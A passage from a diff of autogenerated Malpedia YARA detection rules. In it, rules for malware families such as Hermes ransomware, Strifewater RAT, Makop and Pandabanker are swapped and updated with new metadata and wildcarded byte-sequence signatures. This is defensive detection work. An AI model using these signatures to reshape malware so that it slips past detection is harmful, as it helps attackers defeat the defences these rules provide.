8b4214 2b4210 394110 7615 } + $sequence_8 = { c21000 e8???????? cc 8b442408 56 8b742408 } + $sequence_9 = { a3???????? a1???????? 83e040 59 a3???????? } condition: - 7 of them and filesize < 1112064 + 7 of them and filesize < 1220608 } -rule MALPEDIA_Win_Polpo_Auto : FILE +rule MALPEDIA_Win_Chir_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4ff250ea-14e5-5ddf-884d-81a7a2123b4c" + id = "78bff571-2d0f-563f-8afb-2fed2637cee4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polpo" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.polpo_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chir" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chir_auto.yar#L1-L113" license_url = "N/A" - logic_hash = "c5c58623683189d984bf95794fae6745283628eb524957fe3fb712a317c0fbc7" + logic_hash = "13fbf415f29c525be8d7104bf47ab4cf9292f1187b96643f7c39e370c88f7e8f" score = 75 quality = 75 tags = "FILE" @@ -112780,32 +112788,32 @@ rule MALPEDIA_Win_Polpo_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 66895004 8a0d???????? 884806 8b45b4 8bf0 8da42400000000 8a08 } - $sequence_1 = { f3a5 8bc8 83e103 f3a4 8d45dc } - $sequence_2 = { 3acb 75f9 2bc6 8dbd4cf7ffff 4f 8a4f01 47 } - $sequence_3 = { 8bc8 c1e902 f3a5 8bc8 83e103 837d0c00 } - $sequence_4 = { 6a00 52 898df4faffff e8???????? b908000000 } - $sequence_5 = { 2bfe 8d9b00000000 8b1437 8b4c3708 } - $sequence_6 = { 33cd e8???????? 8be5 5d c20800 81ff00001000 0f8387000000 } - $sequence_7 = { 85c0 753e 6a02 56 } - $sequence_8 = { 83e03f 0fb680c0940120 83e23f 41 884602 8a92c0940120 885603 } - $sequence_9 = { 8985edfeffff 668985f1feffff 8885f3feffff 8845ec 8945ed 8945f1 } + $sequence_0 = { 50 c745f840214125 c745fc32212400 e8???????? } + $sequence_1 = { 48 59 8bfb 7419 } + $sequence_2 = { 8d45f0 50 c745f021352432 c745f451173300 e8???????? 48 } + $sequence_3 = { 8d4c15f8 8a19 80f3fc 80c302 80f301 80c303 } + $sequence_4 = { 8d45f4 50 c745f421352432 c745f851173300 e8???????? } + $sequence_5 = { 740b 48 8906 66837c47fe5c } + $sequence_6 = { c745f451173300 e8???????? 48 59 8bfb } + $sequence_7 = { 7415 8d4c15f8 8a01 34fc 0402 3401 0403 } + $sequence_8 = { 42 8801 3bd7 72eb } + $sequence_9 = { 8d45f4 50 c745f421352432 c745f851173300 } condition: - 7 of them and filesize < 250880 + 7 of them and filesize < 286720 } -rule MALPEDIA_Win_Vermilion_Strike_Auto : FILE +rule MALPEDIA_Win_Vshell_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cccdd0ef-85fa-55e7-a474-5f9b069a3146" + id = "9d00442f-4008-5c2c-a89f-67c6ad34a468" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vermilion_strike" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vermilion_strike_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vshell_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "fbc14feb8d48b183ee7897af8bb71c1d6c19913a32cffa9f35df20729fb944fd" + logic_hash = "af7100cec7361ef2656c4b43a7045079d3f82b2662234a4759041cc9664982f0" score = 75 quality = 75 tags = "FILE" @@ -112819,32 +112827,32 @@ rule MALPEDIA_Win_Vermilion_Strike_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c414 51 52 b330 8d7c2438 } - $sequence_1 = { 8d4e20 51 c744241400000000 e8???????? c7463c00000000 8bc6 8b4c2408 } - $sequence_2 = { c644241400 8d7001 8d9b00000000 8a10 40 84d2 } - $sequence_3 = { 83c404 56 8bd8 6a00 53 895c2418 e8???????? } - $sequence_4 = { 3dea000000 7518 8b74241c 85f6 7410 8d442464 } - $sequence_5 = { ffd7 8bf0 83feff 7532 ffd5 } - $sequence_6 = { 895c2448 885c2438 39bc2484000000 720d 8b542470 } - $sequence_7 = { 396e18 7205 8b4e04 eb03 8d4e04 50 51 } - $sequence_8 = { e8???????? 57 50 8d7c245c c684245801000003 e8???????? 83c40c } - $sequence_9 = { eb02 8bc7 3bc3 7711 83f908 } + $sequence_0 = { e8???????? 90 bf01000000 90 e8???????? 488b942480000000 48894a70 } + $sequence_1 = { eb50 488b842498000000 48c740280b000000 eb3e 488b842428010000 488b9c2430010000 e8???????? } + $sequence_2 = { e8???????? 48c70019000000 e8???????? 4889c1 4889df 488d05419d5d00 488b9c2490000000 } + $sequence_3 = { eb1b 440fb64c3c27 418d3431 8d76cd 4088741427 4488443c27 4883c002 } + $sequence_4 = { eb38 488b8c2488000000 488b4110 e8???????? 4889c3 488d053d4ca100 488b6c2478 } + $sequence_5 = { eba7 4885c9 741c 48894c2440 48899c2498000000 31c0 31d2 } + $sequence_6 = { e8???????? e8???????? 4889842478040000 e8???????? 4889842470040000 48899c24d8010000 e8???????? } + $sequence_7 = { eb0c 488d3da654b000 e8???????? 4885db 7410 4889d8 4889cb } + $sequence_8 = { e8???????? eb38 488b7c2428 488b07 488b5f08 488b4f10 440f117f08 } + $sequence_9 = { c744242c4e67d48a 48ba22266cf93b139a0b 4889542418 c74424206ecc42ee 31c0 eb1a 0fb6540424 } condition: - 7 of them and filesize < 540672 + 7 of them and filesize < 39452672 } -rule MALPEDIA_Win_Montysthree_Auto : FILE +rule MALPEDIA_Win_Darkloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "87f022dd-6806-53c4-b097-b12b0a06ec92" + id = "ad9df5bd-cb17-5a57-841e-d7169dd29ac7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.montysthree" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.montysthree_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkloader_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "49338e71bc632a417705dbca9be5623cbd05fe63eacf0615bb9fcdc5a3ff20f5" + logic_hash = "0e3b5f14c9565dba5f89e209f471d5ea4bec46d1f1cc2d6a50fe986d74ec01f7" score = 75 quality = 75 tags = "FILE" @@ -112858,77 +112866,71 @@ rule MALPEDIA_Win_Montysthree_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3c09 7443 3c0d 743f 3c20 743b } - $sequence_1 = { 5f 85f6 5e 0f94c0 5b c9 } - $sequence_2 = { 8d4d08 e8???????? ff30 6a6d ebac 66395f04 7629 } - $sequence_3 = { c745f010000000 ff15???????? 85c0 8b35???????? 756e ffd6 3d16000980 } - $sequence_4 = { 83ec18 68???????? e8???????? 59 8d4de8 e8???????? } - $sequence_5 = { 68???????? e8???????? 33f6 8975fc 3935???????? 0f850a010000 56 } - $sequence_6 = { 397dc8 7427 837dc802 7421 68???????? } - $sequence_7 = { 56 57 ff7510 33ff ff750c 33f6 } - $sequence_8 = { 885d77 f6456c02 7408 8d4d3c e8???????? 385d77 } - $sequence_9 = { 8d4ddc 895dfc e8???????? 395d08 742c 53 8d45fc } + $sequence_0 = { 8365fc00 ff15???????? 59 85c0 b9???????? } + $sequence_1 = { 68???????? ffb7dc010000 8987d4010000 ffd6 } + $sequence_2 = { 83f9ff 75bb 8bb42424020000 8dbe10a10010 ff742418 e8???????? 59 } + $sequence_3 = { 8931 e8???????? 83c410 33c0 40 ebaf 83ec18 } + $sequence_4 = { 8b01 ff90d0000000 83f809 7555 } + $sequence_5 = { 68???????? eb38 8d042f 50 e8???????? } + $sequence_6 = { 56 57 e8???????? 8bd8 59 59 85ff } + $sequence_7 = { ffb7dc010000 894704 ffd6 68???????? } + $sequence_8 = { 6a08 8bf8 be???????? 59 8d442414 f3a5 } + $sequence_9 = { a3???????? 5e c3 55 8bec 81ec04040000 33c9 } condition: - 7 of them and filesize < 458752 + 7 of them and filesize < 124928 } -rule MALPEDIA_Win_Tflower_Auto : FILE +rule MALPEDIA_Win_Hermes_Ransom_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c8b749a8-7605-5cc7-b1f5-9714e975ddf7" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tflower" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tflower_auto.yar#L1-L157" + id = "88136c82-87ab-5f89-8963-9afb9534a540" + date = "2021-10-07" + modified = "2021-10-08" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes_ransom" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hermes_ransom_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "b74bf6ff044f2b1de7c6b08182f1378f15e5cf0c006209455268705fb05e00e4" + logic_hash = "2bb9637b7e3ee9fcdd4e957eade001e8c8132e1b7c987ea6727ab44eda025915" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20211007" + malpedia_hash = "e5b790e0f888f252d49063a1251ca60ec2832535" + malpedia_version = "20211008" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0001 0200 0103 0303 } - $sequence_1 = { 000f 7708 0001 7708 } - $sequence_2 = { 0002 7408 00f7 7308 } - $sequence_3 = { 89442414 8b06 83f804 0f8728010000 ff2485249d4a00 6a02 6a01 } - $sequence_4 = { 001a 0c05 003c0c 05004e0c05 } - $sequence_5 = { 8b148dc0064f00 331485c0024f00 8bc3 c1e808 } - $sequence_6 = { 83fa07 8b542410 775e 8b6c2414 ff24ad9ce34600 0fb679ff } - $sequence_7 = { 000b 8605???????? 007885 0500788605 } - $sequence_8 = { 33148520c54e00 33f2 2bde d3c3 8bc3 } - $sequence_9 = { 0010 740b 0021 740b } - $sequence_10 = { c745e0787f4b00 e9???????? c745e0647f4b00 e9???????? c745dc02000000 } - $sequence_11 = { 0001 7708 00f3 7608 } - $sequence_12 = { 0008 7408 0002 7408 } - $sequence_13 = { c1e818 8b4d2c c1eb10 03148520c14e00 0fb6c3 8b5d28 } - $sequence_14 = { 0fb6c0 8b0c8d20ed4e00 330c8520f14e00 8bc3 c1e818 c1eb10 } - $sequence_15 = { 0fbec0 8d89f8feffff 8d0c48 3b0c95788f4f00 } + $sequence_0 = { 59 59 8945e0 837ddc00 7506 837de000 7405 } + $sequence_1 = { 8d45dc 50 ff75d8 8d8560ffffff 50 ff75e0 ff15???????? } + $sequence_2 = { 33c0 668945e2 33c0 8945e4 8945e8 837df020 } + $sequence_3 = { 6a00 8d85a4f9ffff 50 ff15???????? 5f 5e 8be5 } + $sequence_4 = { 0fb7844504f7ffff 83f83b 741f 8b45d8 8b4df0 668b8c4d04f7ffff } + $sequence_5 = { 8365c800 8365d000 c745b840420f00 8365e000 eb07 8b45e0 40 } + $sequence_6 = { 59 6bc900 668981e8c34000 6a02 } + $sequence_7 = { 59 59 6a0f 6a00 8d45bc 50 } + $sequence_8 = { 8365f000 8b45f0 8945f8 837df800 7456 } + $sequence_9 = { 83e002 7415 ff750c ff75fc e8???????? 59 } condition: - 7 of them and filesize < 6578176 + 7 of them and filesize < 7192576 } -rule MALPEDIA_Win_Locky_Decryptor_Auto : FILE +rule MALPEDIA_Win_Strifewater_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "91dde92f-87a2-5234-b407-3d3ed8c90b2f" + id = "62a3ce73-baac-56a1-82cb-c062e0eed183" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_decryptor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.locky_decryptor_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strifewater_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.strifewater_rat_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "adead49efcae5adc3a8d7fcf047561cadce25b6fc8d50f573c5cccce259fe79f" + logic_hash = "04a48ee28febde8895539bb526c6ef5f904eb84967ebbad205245d5d96a955aa" score = 75 quality = 75 tags = "FILE" @@ -112942,34 +112944,34 @@ rule MALPEDIA_Win_Locky_Decryptor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 03049500c14100 eb05 b8???????? f6400420 } - $sequence_1 = { 7202 8b1b 837dec08 8b4dd8 7303 8d4dd8 03c0 } - $sequence_2 = { 395ddc 7413 837de008 8b45cc 7303 } - $sequence_3 = { 8bf7 83e61f c1e606 03348500c14100 } - $sequence_4 = { 8b4dfa 33c0 4a 49 668945e8 668945ea 6a27 } - $sequence_5 = { 50 33c9 8d7d08 8975f0 e8???????? 83cbff } - $sequence_6 = { 6830010000 e8???????? 33db 59 59 3bc3 7509 } - $sequence_7 = { e8???????? 8b5e04 8b0e 8bc3 2bc1 99 f7ff } - $sequence_8 = { 8b45ec 8b08 890b 8938 397df0 740a 57 } - $sequence_9 = { e8???????? 6a01 33ff 8d75d8 e8???????? 8b450c 8b4df4 } + $sequence_0 = { 488b7c2478 4883c450 415e c3 488d151f910400 488d4c2420 e8???????? } + $sequence_1 = { 48895320 488d3d472d0800 be05000000 498bd5 8bce } + $sequence_2 = { 488b07 48634804 4803cf 85f6 741a 8b5110 0bd6 } + $sequence_3 = { 90 498b06 488b5858 488bcb e8???????? 4c8d4def 4c8d056e710500 } + $sequence_4 = { 48c7442420feffffff 48895c2440 488bf9 488d056ae70800 488901 4883c140 4533c0 } + $sequence_5 = { e9???????? 488b9540070000 4c8d0526ae0100 498bce e8???????? 85c0 } + $sequence_6 = { 488d0595ec0500 488906 eb02 33f6 4c8b05???????? 4d85c0 753c } + $sequence_7 = { 48634804 83640c48fb 4533ff eb0d 408ad7 488d4c2430 e8???????? } + $sequence_8 = { 48898424f0000000 488b4e08 4885c9 7509 488d1598330900 eb0d 488b5128 } + $sequence_9 = { 8bc3 874710 85c0 7421 8365d800 488d059ca1feff 488945e0 } condition: - 7 of them and filesize < 278528 + 7 of them and filesize < 1552384 } -rule MALPEDIA_Win_Artra_Auto : FILE +rule MALPEDIA_Win_Ondritols_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5ecf739d-5644-589e-9019-73f6778eda0f" + id = "81710fe6-9ae7-546c-9cb9-b9c86df2ce65" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.artra" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.artra_auto.yar#L1-L273" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ondritols" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ondritols_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "47a80b3adb8b5b5a6473fc70d14da7afeb3a861c9b53c6c23d484145a04e805d" + logic_hash = "44ff18d30e7336ef39e54fec8b0b622a69d795c9c1893d07882cb3b4d93aa6f9" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -112981,48 +112983,32 @@ rule MALPEDIA_Win_Artra_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 75cc 5d 5b 8b442410 5f 5e 83c41c } - $sequence_1 = { 5f 8a08 40 84c9 75f9 2bc2 880c30 } - $sequence_2 = { 5f 5e 83c41c c21000 5f 33c0 } - $sequence_3 = { 57 33c9 8d7801 8da42400000000 8a10 40 84d2 } - $sequence_4 = { 2bc7 3bc8 72e3 8bc6 8d5001 5f } - $sequence_5 = { 800431f3 8bc6 41 8d7801 8d9b00000000 } - $sequence_6 = { e8???????? 8b3d???????? 6a00 6a00 6a00 8d442414 } - $sequence_7 = { ff15???????? 8bf8 85ff 0f8488000000 6a00 57 ff15???????? } - $sequence_8 = { 8d8c2420010000 51 8d542418 52 8d442420 50 } - $sequence_9 = { 2bc2 03fb 8a4f01 47 } - $sequence_10 = { 40 42 84c9 75f6 e8???????? } - $sequence_11 = { 8bf0 8bd1 83c404 2bf2 90 8a11 88140e } - $sequence_12 = { 90 8b542410 8d4c2410 51 56 52 ffd3 } - $sequence_13 = { 53 8b1d???????? 55 8b2d???????? 90 } - $sequence_14 = { e8???????? 8d442458 83c410 8bc8 } - $sequence_15 = { 6a00 8d54241c 52 ffd7 85c0 75cc 5d } - $sequence_16 = { 6a00 8d442414 50 ffd7 85c0 7445 } - $sequence_17 = { 7205 e8???????? 8b7c2414 8b4f3c 8b11 8b5214 8d44241c } - $sequence_18 = { 2c61 3c05 7733 885c2c18 45 83fd02 7529 } - $sequence_19 = { 8810 40 83ee01 75f3 b8???????? c6042f00 8d5001 } - $sequence_20 = { c1f805 8bcf 83e11f c1e106 8b0485e03b4100 c644080401 57 } - $sequence_21 = { c21000 a1???????? 6a00 68???????? 56 6a67 50 } - $sequence_22 = { 6a6d 56 ff15???????? be???????? 8bf8 e8???????? } - $sequence_23 = { c744241430124000 c744241800000000 c744241c00000000 89442420 ffd6 68007f0000 6a00 } - $sequence_24 = { 8b2d???????? 8b442410 8d542410 52 57 50 ffd3 } - $sequence_25 = { 8b542428 50 68???????? 6a01 } + $sequence_0 = { f3ab 59 894df8 8b4df8 e8???????? 50 8b45f8 } + $sequence_1 = { c745fcffffffff 8d4d10 e8???????? 8a8523ffffff eb1e eb9c c6852fffffff01 } + $sequence_2 = { c745fc00000000 8b4508 c1f805 8b4d08 83e11f c1e106 8b1485e0ca4600 } + $sequence_3 = { 50 8d45f4 64a300000000 894dec 6a01 8d8518ffffff } + $sequence_4 = { 7409 8b55e4 c70201000000 eb15 c745e400000000 c745f000000000 c745e848a54600 } + $sequence_5 = { 895f14 895f18 39b530ffffff 720f 8b951cffffff 52 e8???????? } + $sequence_6 = { e8???????? 8b45e4 50 e8???????? 83c408 885dfc 8d7310 } + $sequence_7 = { 746a 833d????????10 720e a1???????? 50 e8???????? 83c404 } + $sequence_8 = { c645fc04 e8???????? 83c404 3bc3 0f84a7020000 8906 } + $sequence_9 = { 8d8568f5ffff 50 e8???????? 83c404 83c00b 83f83c } condition: - 7 of them and filesize < 811008 + 7 of them and filesize < 964608 } -rule MALPEDIA_Win_Pandabanker_Auto : FILE +rule MALPEDIA_Win_Treasurehunter_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d7a6bb16-47e5-52e8-857d-352f3fc1d921" + id = "e821ddca-c116-541d-9bd5-f7649288cdd5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pandabanker_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.treasurehunter" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.treasurehunter_auto.yar#L1-L106" license_url = "N/A" - logic_hash = "7224c438b16af79be738a189a249337e2e081d636ca75e4e1c5b1122ffa5e8c5" + logic_hash = "102e6e7f9d869ce1a995b96c3cd12e8dc18894c29a700642a08bd98f281dfbdd" score = 75 quality = 75 tags = "FILE" @@ -113036,32 +113022,30 @@ rule MALPEDIA_Win_Pandabanker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { d0c2 8ac2 d0c0 32c1 32c2 } - $sequence_1 = { 42 83fa10 72ee 8b5500 } - $sequence_2 = { 8bf2 57 8bf9 8d8df4fdffff } - $sequence_3 = { f3aa 8932 8d46f0 8b5500 } - $sequence_4 = { 895c2414 8bf1 e8???????? 84c0 746d 83caff 8bce } - $sequence_5 = { 8bf0 85f6 7414 e8???????? 8906 85c0 7509 } - $sequence_6 = { 33c0 33d2 89442418 3bfd 7359 } - $sequence_7 = { 8bce 2b0f 33448f4c 8944b74c 6a05 59 } - $sequence_8 = { 03c8 894c2434 8d5101 8bce e8???????? 85c0 } - $sequence_9 = { 75f9 2bce 5e 8d040a c3 33c0 c3 } + $sequence_0 = { 53 56 57 6a01 6a00 e8???????? } + $sequence_1 = { 6800000020 6a2f 68???????? 57 ff15???????? 85c0 } + $sequence_2 = { 8a0e 46 84c9 75f9 2bf0 e8???????? } + $sequence_3 = { 56 57 8bf9 8bca e8???????? 8b7508 } + $sequence_4 = { 53 56 8b35???????? 8bd9 8b4d08 57 8955fc } + $sequence_5 = { 8bf1 85d2 7e0b 4a e8???????? 0fafc6 5e } + $sequence_6 = { 8903 ff15???????? 8b4dfc 57 } + $sequence_7 = { 6800040000 8d85fcfbffff 50 8d85fcf7ffff 50 e8???????? } condition: - 7 of them and filesize < 417792 + 7 of them and filesize < 229376 } -rule MALPEDIA_Win_Waterspout_Auto : FILE +rule MALPEDIA_Win_Makop_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b586bd54-931a-56de-aa91-0c07bfde94ab" + id = "e214999d-16a1-514d-bedc-c66a8b25498d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.waterspout" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.waterspout_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.makop_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "d8e2787076e89338cd714382e58eddd7d135aa9f7451f2a43ebcaaaa612febc9" + logic_hash = "fab88e1b8315d53c8f1d019ae0fd200eb0984fdd471585289f6762a4445cd571" score = 75 quality = 75 tags = "FILE" @@ -113075,32 +113059,32 @@ rule MALPEDIA_Win_Waterspout_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? 56 e8???????? 83c418 84c0 751e 6a01 } - $sequence_1 = { 56 8d4c2420 8802 ff15???????? bf???????? 83c9ff } - $sequence_2 = { 88442424 32c3 50 e8???????? 8a4c2420 8ad3 32d1 } - $sequence_3 = { 83fe01 f3aa 8a842470200000 884500 } - $sequence_4 = { 57 57 50 ff15???????? 85c0 7540 8b0e } - $sequence_5 = { 83c408 8d4c2414 c744241430750000 6a04 51 } - $sequence_6 = { c68424870000008f c684248800000092 c68424890000009d c684248a00000038 c684248b000000f5 c684248c000000bc c684248d000000b6 } - $sequence_7 = { 8bb4240c200000 8d442410 6a00 50 6a00 6a00 6a00 } - $sequence_8 = { 8dbc24ac030000 f3ab 8d442410 8d4c2418 50 8b842490630000 51 } - $sequence_9 = { 33ff 3bdf 897d00 7403 53 ffd6 } + $sequence_0 = { 5e 5b 83c41c c3 ffd7 50 e8???????? } + $sequence_1 = { 8bc6 e8???????? 894630 8b4500 8903 8b0f } + $sequence_2 = { 894118 8b0e c6412800 e8???????? } + $sequence_3 = { ff15???????? 8bf0 83feff 744f 8bc7 8a08 83c001 } + $sequence_4 = { 8d04b8 7414 8b00 50 6a00 ffd5 50 } + $sequence_5 = { 833e00 8b35???????? c744240c00000000 7645 8b5c2410 8da42400000000 8b0b } + $sequence_6 = { 53 a3???????? ff15???????? 50 ff15???????? 8d742418 e8???????? } + $sequence_7 = { 56 e8???????? 8d4e28 51 6a0a 8bc6 e8???????? } + $sequence_8 = { c3 ffd7 50 e8???????? 83c404 5f 5e } + $sequence_9 = { 6a00 8d4c2414 51 52 57 55 c744242800000000 } condition: - 7 of them and filesize < 98304 + 7 of them and filesize < 107520 } -rule MALPEDIA_Win_Concealment_Troy_Auto : FILE +rule MALPEDIA_Win_Darkme_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "85d5c577-b8ec-58e5-9740-0a0ca10b0ae9" + id = "1036dced-69e3-5dff-8a15-6ed9a4e7c833" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.concealment_troy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.concealment_troy_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkme" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkme_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "b00daac439b94b56b64f9d02955d44b706d6186abc3a4c26b1bfb61dd4d222d0" + logic_hash = "816ab6c03be8b7c8209c8913616f17d58c6b5480cc780d2ab0b0d2412d8ca815" score = 75 quality = 75 tags = "FILE" @@ -113114,32 +113098,32 @@ rule MALPEDIA_Win_Concealment_Troy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c744244000000000 ff15???????? 85c0 0f844cffffff 8b542424 } - $sequence_1 = { 7530 8b54240c 52 ff15???????? 53 } - $sequence_2 = { 8bc8 83e103 f3a4 8d542418 8d8c2430090000 e8???????? 85c0 } - $sequence_3 = { 3acb 75f6 6804010000 8d8c2424010000 53 } - $sequence_4 = { f3a5 66a5 83c40c a4 8d4c2418 8d642400 8a01 } - $sequence_5 = { 85c0 0f8476ffffff 6a00 6a08 6a00 } - $sequence_6 = { e8???????? 83c414 ebd0 8bc8 c1f905 8d3c8da0774100 } - $sequence_7 = { 8d8c2470050000 68???????? 51 e8???????? 8d842478050000 83c418 8d5001 } - $sequence_8 = { b87c130000 e8???????? a1???????? 33c4 89842478130000 53 } - $sequence_9 = { 52 889c242c010000 e8???????? 6807020000 8d842441090000 53 } + $sequence_0 = { 40 f7d8 668985f0feffff 8d4d84 ff15???????? 8d8d70ffffff ff15???????? } + $sequence_1 = { eb12 8b95ecfeffff 81c2???????? 8995a8feffff 8b85a8feffff 8b08 8b95a8feffff } + $sequence_2 = { 8d4ddc 898d90feffff 8b9590feffff 8b02 8985e4feffff 6a00 8b4dc8 } + $sequence_3 = { 8b8504ffffff 8b08 8b01 52 ff9098030000 50 } + $sequence_4 = { c745f8???????? c745fc00000000 8b7508 8b06 56 ff5004 668b4d0c } + $sequence_5 = { 7459 c745fc08000000 6a10 8b55cc 52 8d45d0 50 } + $sequence_6 = { c745b801000000 c745b002000000 8b55d4 52 8d45b0 50 d9856cffffff } + $sequence_7 = { 898d24ffffff eb12 8b9530ffffff 81c2???????? 899524ffffff 8b8524ffffff 8b08 } + $sequence_8 = { 8b1491 52 68???????? e8???????? 8bd0 8d4dac ff15???????? } + $sequence_9 = { 6a00 6a00 6a01 6a08 8b9530ffffff 81c2???????? 52 } condition: - 7 of them and filesize < 229376 + 7 of them and filesize < 1515520 } -rule MALPEDIA_Win_Ehdevel_Auto : FILE +rule MALPEDIA_Win_Typehash_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a1927287-a7a0-56db-9215-479d35c403c1" + id = "0c0bfd3b-1920-5db4-be8f-16377880af07" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ehdevel" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ehdevel_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.typehash" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.typehash_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "684d7241cee866804960efb3b0b6928989858b77ba794c784761214d04fdf763" + logic_hash = "cb4de3d61dde4ee402264a80e34744365587a3be274cf88c25ae82f2b1a1af55" score = 75 quality = 75 tags = "FILE" @@ -113153,32 +113137,32 @@ rule MALPEDIA_Win_Ehdevel_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c5 8945fc 57 8bf9 8d85ece7ffff 50 8d8dfcf7ffff } - $sequence_1 = { 85c0 7524 a1???????? a3???????? a1???????? 